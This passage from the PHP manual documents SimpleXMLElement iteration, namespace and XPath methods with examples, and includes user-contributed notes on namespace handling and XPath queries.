$count = count($node->children()); // PHP < 5.3
?>


Returns the current element

  • ? SimpleXMLElement::count
  • SimpleXMLElement::getDocNamespaces ?
  • PHP Manual
  • SimpleXMLElement
  • Returns the current element

SimpleXMLElement::current

(No version information available, might only be in Git)

SimpleXMLElement::current — Returns the current element

说明

public SimpleXMLElement::current(): SimpleXMLElement
Warning

Prior to PHP 8.0, SimpleXMLElement::current() was only declared on the subclass SimpleXMLIterator.

This method returns the current element as a SimpleXMLElement object.

参数

此函数没有参数。

返回值

Returns the current element as a SimpleXMLElement object.

错误／异常

Throws an Error on failure.

更新日志

版本 | 说明
8.1.0 | An Error is now thrown if SimpleXMLElement::current() is called on an invalid iterator. Previously, null was returned.

示例

Example #1 Return the current element

<?php
$xmlElement = new SimpleXMLElement('<books><book>PHP basics</book><book>XML basics</book></books>');

$xmlElement->rewind(); // rewind to first element, otherwise current() won't work
var_dump($xmlElement->current());
?>

以上示例会输出：

object(SimpleXMLElement)#2 (1) {
  [0]=>
  string(10) "PHP basics"
}

参见

  • SimpleXMLElement::key() - Return current key
  • SimpleXMLElement::next() - Move to next element
  • SimpleXMLElement::rewind() - Rewind to the first element
  • SimpleXMLElement::valid() - Check whether the current element is valid
  • SimpleXMLElement

User Contributed Notes

There are no user contributed notes for this page.


Returns namespaces declared in document

  • ? SimpleXMLElement::current
  • SimpleXMLElement::getName ?
  • PHP Manual
  • SimpleXMLElement
  • Returns namespaces declared in document

SimpleXMLElement::getDocNamespaces

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SimpleXMLElement::getDocNamespaces — Returns namespaces declared in document

说明

public SimpleXMLElement::getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false

Returns namespaces declared in document

参数

recursive

If specified, returns all namespaces declared in parent and child nodes. Otherwise, returns only namespaces declared in root node.

fromRoot

Allows you to recursively check namespaces under a child node instead of from the root of the XML doc.

返回值

The getDocNamespaces method returns an array of namespace names with their associated URIs.

示例

Example #1 Get document namespaces

<?php

$xml = <<<XML
<?xml version="1.0" standalone="yes"?>
<people xmlns:p="http://example.org/ns">
<p:person id="1">John Doe</p:person>
<p:person id="2">Susie Q. Public</p:person>
</people>
XML;

$sxe = new SimpleXMLElement($xml);

$namespaces = $sxe->getDocNamespaces();
var_dump($namespaces);

?>

以上示例会输出：

array(1) {
   ["p"]=>
   string(21) "http://example.org/ns"
}

Example #2 Working with multiple namespaces

<?php

$xml = <<<XML
<?xml version="1.0" standalone="yes"?>
<people xmlns:p="http://example.org/ns" xmlns:t="http://example.org/test">
<p:person t:id="1">John Doe</p:person>
<p:person t:id="2" a:addr="123 Street" xmlns:a="http://example.org/addr">
Susie Q. Public
</p:person>
</people>
XML;

$sxe = new SimpleXMLElement($xml);

$namespaces = $sxe->getDocNamespaces(TRUE);
var_dump($namespaces);

?>

以上示例会输出：

array(3) {
  ["p"]=>
  string(21) "http://example.org/ns"
  ["t"]=>
  string(23) "http://example.org/test"
  ["a"]=>
  string(23) "http://example.org/addr"
}

参见

  • SimpleXMLElement::getNamespaces() - Returns namespaces used in document
  • SimpleXMLElement::registerXPathNamespace() - Creates a prefix/ns context for the next XPath query

User Contributed Notes

There are no user contributed notes for this page.


Gets the name of the XML element

  • ? SimpleXMLElement::getDocNamespaces
  • SimpleXMLElement::getNamespaces ?
  • PHP Manual
  • SimpleXMLElement
  • Gets the name of the XML element

SimpleXMLElement::getName

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

SimpleXMLElement::getName — Gets the name of the XML element

说明

public SimpleXMLElement::getName(): string

Gets the name of the XML element.

参数

此函数没有参数。

返回值

The getName method returns as a string the name of the XML tag referenced by the SimpleXMLElement object.

示例

Note:

Listed examples may include example.php, which refers to the XML string found in the first example of the basic usage guide.

Example #1 Get XML element names

<?php
include 'example.php';
$sxe = new SimpleXMLElement($xmlstr);

echo $sxe->getName() . "\n";

foreach ($sxe->children() as $child)
{
echo $child->getName() . "\n";
}

?>

以上示例会输出：

movies
movie

User Contributed Notes

There are no user contributed notes for this page.


Returns namespaces used in document

  • ? SimpleXMLElement::getName
  • SimpleXMLElement::getChildren ?
  • PHP Manual
  • SimpleXMLElement
  • Returns namespaces used in document

SimpleXMLElement::getNamespaces

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SimpleXMLElement::getNamespaces — Returns namespaces used in document

说明

public SimpleXMLElement::getNamespaces(bool $recursive = false): array

Returns namespaces used in document

参数

recursive

If specified, returns all namespaces used in parent and child nodes. Otherwise, returns only namespaces used in root node.

返回值

The getNamespaces method returns an array of namespace names with their associated URIs.

示例

Example #1 Get document namespaces in use

<?php

$xml = <<<XML
<?xml version="1.0" standalone="yes"?>
<people xmlns:p="http://example.org/ns" xmlns:t="http://example.org/test">
<p:person id="1">John Doe</p:person>
<p:person id="2">Susie Q. Public</p:person>
</people>
XML;

$sxe = new SimpleXMLElement($xml);

$namespaces = $sxe->getNamespaces(true);
var_dump($namespaces);

?>

以上示例会输出：

array(1) {
  ["p"]=>
  string(21) "http://example.org/ns"
}

参见

  • SimpleXMLElement::getDocNamespaces() - Returns namespaces declared in document
  • SimpleXMLElement::registerXPathNamespace() - Creates a prefix/ns context for the next XPath query

User Contributed Notes

thiago at osfeio dot com 29-Oct-2013 04:23
this article has more info : http://www.sitepoint.com/parsing-xml-with-simplexml/
harry at nospam dot thestorm dot plus dot com 17-Feb-2012 02:21
If the namespace is nested in the xml, then you will have to loop over the nodes.

<?php

$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
  <people xmlns:p="http://example.org/ns" xmlns:t="http://example.org/test">
      <items>
            <title>This is a test of namespaces and my patience</title>
            <p:person id="1">John Doe</p:person>
            <p:person id="2">Susie Q. Public</p:person>
            <p:person id="1">Fish Man</p:person>
      </items>
  </people>
XML;

$sxe = new SimpleXMLElement($xml);

foreach ($sxe as $out_ns)
{
    $ns = $out_ns->getNamespaces(true);

    $child = $out_ns->children($ns['p']);

    foreach ($child as $out)
    {
        echo $out . "<br />";
    }
}
?>
harry at nospam dot thestorm dot plus dot com 16-Feb-2012 12:50
To read a namespace node you have to use the children method.

<?php

$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<people xmlns:p="http://example.org/ns" xmlns:t="http://example.org/test">
    <p:person id="1">John Doe</p:person>
    <p:person id="2">Susie Q. Public</p:person>
</people>
XML;

$sxe = new SimpleXMLElement($xml);

$ns = $sxe->getNamespaces(true);

$child = $sxe->children($ns['p']);

foreach ($child->person as $out_ns)
{
    echo $out_ns;
}

?>


Returns the sub-elements of the current element

  • ? SimpleXMLElement::getNamespaces
  • SimpleXMLElement::hasChildren ?
  • PHP Manual
  • SimpleXMLElement
  • Returns the sub-elements of the current element

SimpleXMLElement::getChildren

(No version information available, might only be in Git)

SimpleXMLElement::getChildren — Returns the sub-elements of the current element

说明

public SimpleXMLElement::getChildren(): ?SimpleXMLElement
Warning

Prior to PHP 8.0, SimpleXMLElement::getChildren() was only declared on the subclass SimpleXMLIterator.

This method returns a SimpleXMLElement object containing sub-elements of the current SimpleXMLElement element.

参数

此函数没有参数。

返回值

Returns a SimpleXMLElement object containing the sub-elements of the current element.

示例

Example #1 Return the sub-elements of the current element

<?php
$xml = <<<XML
<books>
<book>
<title>PHP Basics</title>
<author>Jim Smith</author>
</book>
<book>XML basics</book>
</books>
XML;

$xmlElement = new SimpleXMLElement($xml);
for ($xmlElement->rewind(); $xmlElement->valid(); $xmlElement->next()) {
foreach($xmlElement->getChildren() as $name => $data) {
echo "The $name is '$data' from the class " . get_class($data) . "\n";
}
}
?>

以上示例会输出：

The title is 'PHP Basics' from the class SimpleXMLElement
The author is 'Jim Smith' from the class SimpleXMLElement

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the current element has sub elements

  • ? SimpleXMLElement::getChildren
  • SimpleXMLElement::key ?
  • PHP Manual
  • SimpleXMLElement
  • Checks whether the current element has sub elements

SimpleXMLElement::hasChildren

(No version information available, might only be in Git)

SimpleXMLElement::hasChildren — Checks whether the current element has sub elements

说明

public SimpleXMLElement::hasChildren(): bool
Warning

Prior to PHP 8.0, SimpleXMLElement::hasChildren() was only declared on the subclass SimpleXMLIterator.

This method checks whether the current SimpleXMLElement element has sub-elements.

参数

此函数没有参数。

返回值

true if the current element has sub-elements, otherwise false

示例

Example #1 Check whether the current element has sub-elements

<?php
$xml = <<<XML
<books>
<book>
<title>PHP Basics</title>
<author>Jim Smith</author>
</book>
<book>XML basics</book>
</books>
XML;

$xmlElement = new SimpleXMLElement($xml);
for ($xmlElement->rewind(); $xmlElement->valid(); $xmlElement->next()) {
if ($xmlElement->hasChildren()) {
var_dump($xmlElement->current());
}
}
?>

以上示例会输出：

object(SimpleXMLElement)#2 (2) {
  ["title"]=>
  string(10) "PHP Basics"
  ["author"]=>
  string(9) "Jim Smith"
}

User Contributed Notes

There are no user contributed notes for this page.


Return current key

  • ? SimpleXMLElement::hasChildren
  • SimpleXMLElement::next ?
  • PHP Manual
  • SimpleXMLElement
  • Return current key

SimpleXMLElement::key

(No version information available, might only be in Git)

SimpleXMLElement::key — Return current key

说明

public SimpleXMLElement::key(): string
Warning

Prior to PHP 8.0, SimpleXMLElement::key() was only declared on the subclass SimpleXMLIterator.

This method gets the XML tag name of the current element.

参数

此函数没有参数。

返回值

Returns the XML tag name of the element referenced by the current SimpleXMLElement object.

错误／异常

Throws an Error on failure.

更新日志

版本 | 说明
8.1.0 | An Error is now thrown if SimpleXMLElement::key() is called on an invalid iterator. Previously, false was returned.

示例

Example #1 Get the current XML tag key

<?php
$xmlElement = new SimpleXMLElement('<books><book>PHP basics</book><book>XML basics</book></books>');

echo var_dump($xmlElement->key());
$xmlElement->rewind(); // rewind to the first element
echo var_dump($xmlElement->key());

?>

以上示例会输出：

bool(false)
string(4) "book"

User Contributed Notes

There are no user contributed notes for this page.


Move to next element

  • ? SimpleXMLElement::key
  • SimpleXMLElement::registerXPathNamespace ?
  • PHP Manual
  • SimpleXMLElement
  • Move to next element

SimpleXMLElement::next

(No version information available, might only be in Git)

SimpleXMLElement::next — Move to next element

说明

public SimpleXMLElement::next(): void
Warning

Prior to PHP 8.0, SimpleXMLElement::next() was only declared on the subclass SimpleXMLIterator.

This method moves the SimpleXMLElement to the next element.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Move to the next element

<?php
$xmlElement = new SimpleXMLElement('<books><book>PHP Basics</book><book>XML basics</book></books>');
$xmlElement->rewind(); // rewind to the first element
$xmlElement->next();

var_dump($xmlElement->current());
?>

以上示例会输出：

object(SimpleXMLElement)#2 (1) {
  [0]=>
  string(10) "XML basics"
}

User Contributed Notes

There are no user contributed notes for this page.


Creates a prefix/ns context for the next XPath query

  • ? SimpleXMLElement::next
  • SimpleXMLElement::rewind ?
  • PHP Manual
  • SimpleXMLElement
  • Creates a prefix/ns context for the next XPath query

SimpleXMLElement::registerXPathNamespace

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SimpleXMLElement::registerXPathNamespace — Creates a prefix/ns context for the next XPath query

说明

public SimpleXMLElement::registerXPathNamespace(string $prefix, string $namespace): bool

Creates a prefix/ns context for the next XPath query. In particular, this is helpful if the provider of the given XML document alters the namespace prefixes. registerXPathNamespace will create a prefix for the associated namespace, allowing one to access nodes in that namespace without the need to change code to allow for the new prefixes dictated by the provider.

参数

prefix

The namespace prefix to use in the XPath query for the namespace given in namespace.

namespace

The namespace to use for the XPath query. This must match a namespace in use by the XML document or the XPath query using prefix will not return any results.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Setting a namespace prefix to use in an XPath query

<?php

$xml = <<<EOD
<book xmlns:chap="http://example.org/chapter-title">
<title>My Book</title>
<chapter id="1">
<chap:title>Chapter 1</chap:title>
<para>Donec velit. Nullam eget tellus vitae tortor gravida scelerisque.
In orci lorem, cursus imperdiet, ultricies non, hendrerit et, orci.
Nulla facilisi. Nullam velit nisl, laoreet id, condimentum ut,
ultricies id, mauris.</para>
</chapter>
<chapter id="2">
<chap:title>Chapter 2</chap:title>
<para>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Proin
gravida. Phasellus tincidunt massa vel urna. Proin adipiscing quam
vitae odio. Sed dictum. Ut tincidunt lorem ac lorem. Duis eros
tellus, pharetra id, faucibus eu, dapibus dictum, odio.</para>
</chapter>
</book>
EOD;

$sxe = new SimpleXMLElement($xml);

$sxe->registerXPathNamespace('c', 'http://example.org/chapter-title');
$result = $sxe->xpath('//c:title');

foreach ($result as $title) {
echo $title . "\n";
}

?>

以上示例会输出：

Chapter 1
Chapter 2

Notice how the XML document shown in the example sets a namespace with a prefix of chap. Imagine that this document (or another one like it) may have used a prefix of c in the past for the same namespace. Since it has changed, the XPath query will no longer return the proper results and the query will require modification. Using registerXPathNamespace avoids future modification of the query even if the provider changes the namespace prefix.

参见

  • SimpleXMLElement::xpath() - Runs XPath query on XML data
  • SimpleXMLElement::getDocNamespaces() - Returns namespaces declared in document
  • SimpleXMLElement::getNamespaces() - Returns namespaces used in document

User Contributed Notes

Lea Hayes 12-Jan-2011 09:56
Looks like you have to use registerXPathNamespace for each node when using XPath:

<?php
$xml = simplexml_load_file($filename);

$xml->registerXPathNamespace('test', 'http://example.com');

$shopping_element = $xml->xpath('test:shopping-list');

// Breaks with out the following line:

$shopping_element->registerXPathNamespace('test', 'http://example.com');

$fruit = $shopping_element->xpath('test:fruit');
?>


Rewind to the first element

  • ? SimpleXMLElement::registerXPathNamespace
  • SimpleXMLElement::saveXML ?
  • PHP Manual
  • SimpleXMLElement
  • Rewind to the first element

SimpleXMLElement::rewind

(No version information available, might only be in Git)

SimpleXMLElement::rewind — Rewind to the first element

说明

public SimpleXMLElement::rewind(): void
Warning

Prior to PHP 8.0, SimpleXMLElement::rewind() was only declared on the subclass SimpleXMLIterator.

This method rewinds the SimpleXMLElement to the first element.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Rewind to the first element

<?php
$xmlElement = new SimpleXMLElement('<books><book>PHP Basics</book><book>XML Basics</book></books>');
$xmlElement->rewind();

var_dump($xmlElement->current());
?>

以上示例会输出：

object(SimpleXMLElement)#2 (1) {
  [0]=>
  string(10) "PHP Basics"
}

User Contributed Notes

There are no user contributed notes for this page.


别名 SimpleXMLElement::asXML

  • ? SimpleXMLElement::rewind
  • SimpleXMLElement::__toString ?
  • PHP Manual
  • SimpleXMLElement
  • 别名 SimpleXMLElement::asXML

SimpleXMLElement::saveXML

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

SimpleXMLElement::saveXML — 别名 SimpleXMLElement::asXML()

说明

此方法是该方法的别名： SimpleXMLElement::asXML()

User Contributed Notes

There are no user contributed notes for this page.


Returns the string content

  • ? SimpleXMLElement::saveXML
  • SimpleXMLElement::valid ?
  • PHP Manual
  • SimpleXMLElement
  • Returns the string content

SimpleXMLElement::__toString

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SimpleXMLElement::__toString — Returns the string content

说明

public SimpleXMLElement::__toString(): string

Returns text content that is directly in this element. Does not return text content that is inside this element's children.

参数

此函数没有参数。

返回值

Returns the string content on success or an empty string on failure.

示例

Example #1 Get string content

<?php
$xml = new SimpleXMLElement('<a>1 <b>2 </b>3</a>');
echo $xml;
?>

以上示例会输出：

1 3

参见

  • SimpleXMLElement::asXML() - Return a well-formed XML string based on SimpleXML element

User Contributed Notes

mmj at example dot net 02-Oct-2017 03:22
__toString() is not intended to be called directly.

Instead, it defines what is returned when the object is cast to string, either explicitly with:

(string)$element

Or implicitly, when used in certain contexts which would cause a conversion to string.
Patanjali 27-Mar-2016 10:55
[Someone remove that other Patanjali's note, because it has errors! :-(]

For those for whom it may not be immediately obvious from the example, the echo is what is forcing __toString() to be used.

However, to assign the text of a node (but not its children) to a variable:

$XML = new SimpleXMLElement('<p>Hello<span> world</span>.<span> Good day!</span></p>');

$Text = $XML->__toString();

is effectively:
$Text = 'Hello.'; // The <span>s are ignored.

Either of:
$Text = $XML->span->__toString();
$Text = $XML->span[0]->__toString();

is effectively:
$Text = ' world'; // Only the first <span> is used.

$Text = $XML->span[1]->__toString();

is effectively:
$Text = ' Good day!'; // Only the second <span> is used.
Patanjali 27-Mar-2016 10:36
For those for whom it may not be immediately obvious from the example, to assign the text of a node (but not its children) to a variable:

$XML = new SimpleXMLElement('<p>Hello<span> world</span>.<span> Good day!</span></p>');

Either:
$Text = $XML;
$Text = $XML->__String();

is effectively:
$Text = 'Hello.'; // The <span>s are ignored.

Either of:
$Text = $XML->span;
$Text = $XML->span[0];

is effectively:
$Text = ' world'; // Only the first <span> is used.

$Text = $XML->span[1];

is effectively:
$Text = ' Good day!'; // Only the second <span> is used.


Check whether the current element is valid

  • ? SimpleXMLElement::__toString
  • SimpleXMLElement::xpath ?
  • PHP Manual
  • SimpleXMLElement
  • Check whether the current element is valid

SimpleXMLElement::valid

(No version information available, might only be in Git)

SimpleXMLElement::valid — Check whether the current element is valid

说明

public SimpleXMLElement::valid(): bool
Warning

Prior to PHP 8.0, SimpleXMLElement::valid() was only declared on the subclass SimpleXMLIterator.

This method checks if the current element is valid after calls to SimpleXMLElement::rewind() or SimpleXMLElement::next().

参数

此函数没有参数。

返回值

Returns true if the current element is valid, otherwise false

示例

Example #1 Check whether the current element is valid

<?php
$xmlElement = new SimpleXMLElement('<books><book>SQL Basics</book></books>');

$xmlElement->rewind(); // rewind to the first element
echo var_dump($xmlElement->valid()); // bool(true)

$xmlElement->next(); // advance to the next element
echo var_dump($xmlElement->valid()); // bool(false) because there is only one element
?>

User Contributed Notes

There are no user contributed notes for this page.


Runs XPath query on XML data

  • ? SimpleXMLElement::valid
  • SimpleXMLIterator ?
  • PHP Manual
  • SimpleXMLElement
  • Runs XPath query on XML data

SimpleXMLElement::xpath

(PHP 5, PHP 7, PHP 8)

SimpleXMLElement::xpath — Runs XPath query on XML data

说明

public SimpleXMLElement::xpath(string $expression): array|null|false

The xpath method searches the SimpleXML node for children matching the XPath expression.

参数

expression

An XPath path

返回值

Returns an array of SimpleXMLElement objects on success; or null or false in case of an error.

示例

Example #1 Xpath

<?php
$string = <<<XML
<a>
<b>
<c>text</c>
<c>stuff</c>
</b>
<d>
<c>code</c>
</d>
</a>
XML;

$xml = new SimpleXMLElement($string);

/* Search for <a><b><c> */
$result = $xml->xpath('/a/b/c');

foreach ($result as $node) {
echo '/a/b/c: ',$node,"\n";
}

/* Relative paths also work... */
$result = $xml->xpath('b/c');

foreach ($result as $node) {
echo 'b/c: ',$node,"\n";
}
?>

以上示例会输出：

/a/b/c: text
/a/b/c: stuff
b/c: text
b/c: stuff

Notice that the two results are equal.

参见

  • SimpleXMLElement::registerXPathNamespace() - Creates a prefix/ns context for the next XPath query
  • SimpleXMLElement::getDocNamespaces() - Returns namespaces declared in document
  • SimpleXMLElement::getNamespaces() - Returns namespaces used in document
  • Basic SimpleXML usage

User Contributed Notes

Filippo Vicari 28-Sep-2022 09:56
You can also search for siblings with a condition. For example immagine to need the title for a desidered language which with the two siblings tags in this XML file

<?xml version="1.0" encoding="UTF-8"?>
<IDOC BEGIN="1">
...
<PRODUCT SEGMENT="1">
    <PRODUCTCODE>005</PRODUCTCODE>
    <LANG>E</LANG>
    <TITLE>Name</TITLE>
    <LANG_ISO>EN</LANG_ISO>
</PRODUCT>
<PRODUCT SEGMENT="1">
    <PRODUCTCODE>005</PRODUCTCODE>
    <LANG>I</LANG>
    <TITLE>Name I</TITLE>
    <LANG_ISO>IT</LANG_ISO>
</PRODUCT>
...
</IDOC>

Let's break it down
<?php
"//PRODUCT" // find product tag
"//PRODUCT/LANG[.='E']" // whithin it find lang == "E"
"//PRODUCT/LANG[.='E']/../"  // go up one step
"//PRODUCT/LANG[.='E']/../TITLE" // get the title Tag content

// Combined search and find siblings ----------------------------
$xml = simplexml_load_file("fname.xml");

// Search for the TITLE field which sibling is == "E" ----------
$title_E_array = $xml->xpath("//PRODUCT/LANG[.='E']/../TITLE"); // By default gives back an array of  SimpleXmlElement
$title = (string) $xml->xpath("//PRODUCT/LANG[.='E']/../TITLE")[0]; // in this way saves only the value as a string
?>
awoerl at contentserv dot com 31-Jan-2017 12:43
I tried to use string functions in the xpath statements I'm passing, like

$oXml->xpath('substring(/foo/bar/text(), 0, 4)');

But no matter which syntax I'm trying I never the string functions to work.

Is it possible, that the xpath method does not support function calls?
Alexis Peters 11-Oct-2016 09:11
If you want this behavior for an multidimensional array you can use this:

<?php
function apath(&$a, $path, $value = NULL) {
    $pathes = explode('/',$path);

    if(count($pathes) > 1) {
        $firstPart = array_shift($pathes);
        if(!isset($a[$firstPart])) {
            $a[$firstPart] = array();
        }
        return apath($a[$firstPart], implode('/', $pathes), $value);
    } else {
        if($value){
            $a[$path] = $value;
        } else {
            return $a[$path];
        }
    }
}

apath($a, 'user/name', array('prename' => 'foo', 'lastname' => 'bar'));

$a = array();
var_dump($a);
var_dump(apath($a, 'user/name/lastname'));

?>
Gives you this:

array(1) {
  ["user"]=>
  array(1) {
    ["name"]=>
    array(2) {
      ["prename"]=>
      string(5) "foo"
      ["lastname"]=>
      string(8) "bar"
    }
  }
}
string(8) "bar"
Anonymous 30-Jan-2015 05:30
As mentioned already xpath will fail is the default namespace 'xmlns' is used like in:

<?php

$xmlstring = $string = <<<XML
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
    <fileVersion appName="xl" />
</workbook>
XML;
?>

xpath cannot search through the xml without explicitly specifying a namespace.
There are 2 options :
1. rename the 'xmlns' into something else to trick xpath into believing that no default namespace is defined.
2. register a string as the default namespace and use that string in all your queries. Unfortunatly, an empty space will not work.
No other option currently exist until XPath2.0 becomes the default library.
leonjanzen at gmail dot com 19-Oct-2014 07:48
To run an xpath query on an XML document that has a namespace, the namespace must be registered with SimpleXMLElement::registerXPathNamespace() before running the query. If the XML document namespace does not include a prefix, you must make up an arbitrary one, and then use it in your query.

<?php
$strXml= <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<mydoc xmlns="http://www.url.com/myns">
    <message>Test message</message>
</mydoc>
XML;

$xmlDoc=new \SimpleXMLElement($strXml);

foreach($xmlDoc->getDocNamespaces() as $strPrefix => $strNamespace) {
    if(strlen($strPrefix)==0) {
        $strPrefix="a"; //Assign an arbitrary namespace prefix.
    }
    $xmlDoc->registerXPathNamespace($strPrefix,$strNamespace);
}

print($xmlDoc->xpath("//a:message")[0]); //Use the arbitrary namespace prefix in the query.
?>

This will output:

Test message
BenjaminBeck at gmx dot de 13-Sep-2014 01:36
If you want to search multiple values from xml on the behalf or one value then this code can be helpfull to you.

if there is:
<Record>
  <country>Pakistan</country>
  <code>+92</code>
  <Value>100<Value>
</Record>

then try this one:
<?php
$sxe =  simplexml_load_file("countries.XML");
foreach($sxe->xpath('//RECORD') as $item) {

    $v = $row->xpath('./country[. ="Pakistan"]');
    if($v[0]){
        print $item->country;
        print $item->code;
        print $item->value;
    }

}
?>
yetihehe at yetihehe dot com 12-Jan-2011 02:21
Xpath actually knows which element is root regardless of element on which you execute it. Example:

<?php

$string = <<<XML
<a>
 <b>
  <c>text</c>
  <c>stuff</c>
 </b>
 <b>
  <c>code</c>
 </b>
</a>
XML;

header('content-type: text/plain');

$xml = new SimpleXMLElement($string);

//relative to root
$b0=$xml->b[0]->xpath('//c');
while(list( , $node) = each($b0)) {
    echo 'b[0]: //c: ',$node,"\n";
}

$b1=$xml->b[1]->xpath('//c');
while(list( , $node) = each($b1)) {
    echo 'b[1]: //c: ',$node,"\n";
}

echo "\n";

//relative to current element
$b0=$xml->b[0]->xpath('.//c');
while(list( , $node) = each($b0)) {
    echo 'b[0]: .//c: ',$node,"\n";
}

$b1=$xml->b[1]->xpath('.//c');
while(list( , $node) = each($b1)) {
    echo 'b[1]: .//c: ',$node,"\n";
}

?>

Will return:
b[0]: //c: text
b[0]: //c: stuff
b[0]: //c: code
b[1]: //c: text
b[1]: //c: stuff
b[1]: //c: code

b[0]: .//c: text
b[0]: .//c: stuff
b[1]: .//c: code
stefan at efectos dot nl 09-Nov-2010 02:33
Having problems selecting information through xpath when there are namespaces in the XML?

Try this quick and dirty solution, but it works:

<?php
$objImageXml = new SimpleXMLElement($objImageXml->asXML());
?>
grummfy at gmail dot com 11-Feb-2010 04:08
On a xml that have namespace you need to do this before your xpath request (or empty array will be return) :

<?php
$string = str_replace('xmlns=', 'ns=', $string); //$string is a string that contains xml...
?>
DrupalFocus at earthlink dot net 02-Dec-2009 12:27
Looks like the relative path is relative to the SimpleXMLElement object that you call the Xpath() method on.  Basically chopping off the root element.

<?php
$string = <<<XML
<foo>
  <bar>
    <a>
     <b>
      <c>text</c>
      <c>stuff</c>
     </b>
     <d>
      <c>code</c>
     </d>
    </a>
  </bar>
</foo>
XML;

$xml = new SimpleXMLElement($string);
/* Search for children using 2nds level relative <bar><a><b><c> */
$result = $xml->xpath('a/b/c');
if ($result)
foreach($result as $node) {
    drupal_set_message(t('a/b/c: @node.', array('@node' => $node)));
}
else
  drupal_set_message(t('a/b/c: failed.'));

/* it relative to the SimpleXMLElement Search for 2nds level relative <bar><a><b><c> but where is foo */
$bar = $xml->bar;
$result = $bar->xpath('a/b/c');
foreach($result as $node) {
    drupal_set_message(t('bar->a/b/c: @node.', array('@node' => $node)));
}
?>

results in :
#
# a/b/c: failed.
# bar->a/b/c: text.
# bar->a/b/c: stuff.
behnam@zwnj 24-Sep-2009 01:34
Seems like this function cannot return the result of XPath string() [1] function.  For example if you query xpath("string(a/@b)") you will get bool(false) although the node "a" may have the attribute "b" set to a non-empty string.

[1] http://www.w3.org/TR/xpath#section-String-Functions
Anti Veeranna 17-Jun-2009 03:50
Whether it returns a false or empty array for a non-existing path seems to depend on libxml version.

I tried the following code:

<?php
$data = '<foo><bar></bar></foo>';
$xml = simplexml_load_string($data);
print gettype($xml->xpath('/first/second'));
?>

On a machine with libxml 2.6.16 and PHP 5.2.8 I got back boolean. On a different machine with libxml 2.7.3 and PHP 5.2.8/5.2.9 I got back empty array.

You can check the libxml version from command line by executing: php --ri libxml

or simply look at phpinfo() output
arealzone-czernobyl at yahoo dot de 11-Jun-2009 03:23
The simplest way to count nodes in a XML doc:

<?php
$xml = new SimpleXMLElement($xmlstr);

$xmlNode = $xml->xpath('root/yourNodeName');
$nodeCount = count($xmlNode);

echo $nodeCount;
?>
anemik 02-Jul-2008 03:46
If you want to find easly all records satisfying some condition in XML data like

....
   <book id="bk101">
      <author>Gambardella, Matthew</author>
      <title>XML Developer's Guide</title>
      <genre>Computer</genre>
      <price>44.95</price>
   </book>
   <book id="bk102">
      <author>Ralls, Kim</author>
      <title>Midnight Rain</title>
      <genre>Fantasy</genre>
      <price>5.95</price>
   </book>
...

try example below

<?php

$xmlStr = file_get_contents('data/books.xml');
$xml = new SimpleXMLElement($xmlStr);
// seach records by tag value:
// find all book records with price higher than 40$
$res = $xml->xpath("book/price[.>'40']/parent::*");
print_r($res);

?>

You will see response like:
Array (
[0] => SimpleXMLElement Object
        (
            [@attributes] => Array
                (
                    [id] => bk101
                )

            [author] => Gambardella, Matthew
            [title] => XML Developer's Guide
            [genre] => Computer
            [price] => 44.95
            [publish_date] => 2000-10-01
            [description] => An in-depth look at creating applications
      with XML.
        )
...
paul at pmtlogic dot com 18-Jun-2008 12:17
xpath doesn't seem to be able to handle single quotes embedded in the query itself. For instance, I want to find geo coordinates in an xml file based on country name.

xml snippet:

<zones>
<zone country="Cote d'Ivoire" fullName="Yamoussoukro" geo="6.82,-5.28" id="1050"><url prefix="1001" value="fiji.html" /><url prefix="1002" value="C" /></zone>
</zones>

The following code does not work:

<?php
$xml = simplexml_load_file("my.xml");
$result = $xml->xpath("//zone[@country='Cote d\'Ivoire']");

foreach ( $result[0]->attributes() as $key => $val ) {
    print "<div class='coords'>$key: $val</div>\n";
}
?>

I have tried many variations on the embedded single quote (i.e. escape codes) but with no result. W3C offers no explanation either.

In addition, there doesn't seem to be any way of embedding wildcards in the attribute value (you can embed wildcards in the attribute name). Otherwise the following might be a reasonable substitute in this context:

<?php $result = $xml->xpath("//zone[@country='Cote d*Ivoire']"); ?>
canuemail at gmail dot com 05-May-2008 05:05
If you want to search multiple values from xml on the behalf or one value then this code can be helpfull to you.

if there is:
<Record>
  <country>Pakistan</country>
  <code>+92</code>
  <Value>100<Value>
</Record>

then try this one:
<?php
$sxe =  simplexml_load_file("countries.XML");
foreach($sxe->xpath('//RECORD') as $item) {

    $row = simplexml_load_string($item->asXML());
    $v = $row->xpath('//country[. ="Pakistan"]');
    if($v[0]){
        print $item->country;
        print $item->code;
        print $item->value;
    }

}
?>
Hugh 18-Dec-2005 03:23
Note that this function does not ALWAYS return an array. It seems that if the specified path is not found in the document, it will return false. You need to check for the false value before using foreach, if you wish to avoid a warning (and often to handle errors or control program flow in this situation).
drewish at katherinehouse dot com 10-Jul-2005 06:16
xpath() can also be used to select elements by their attributes. For a good XPath reference check out: http://www.w3schools.com/xpath/xpath_syntax.asp

<?php
$string = <<<XML
<sizes>
    <size label="Square" width="75" height="75" />
    <size label="Thumbnail" width="100" height="62" />
    <size label="Small" width="112" height="69" />
    <size label="Large" width="112" height="69" />
</sizes>
XML;

$xml = simplexml_load_string($string);
$result = $xml->xpath("//size[@label='Large']");

// print the first (and only) member of the array
echo $result[0]->asXml();
?>

The script would print:
<size label="Large" width="112" height="69"/>


The SimpleXMLIterator class

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

简介

The SimpleXMLIterator provides recursive iteration over all nodes of a SimpleXMLElement object.

类摘要

class SimpleXMLIterator extends SimpleXMLElement {
/* 继承的方法 */
public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
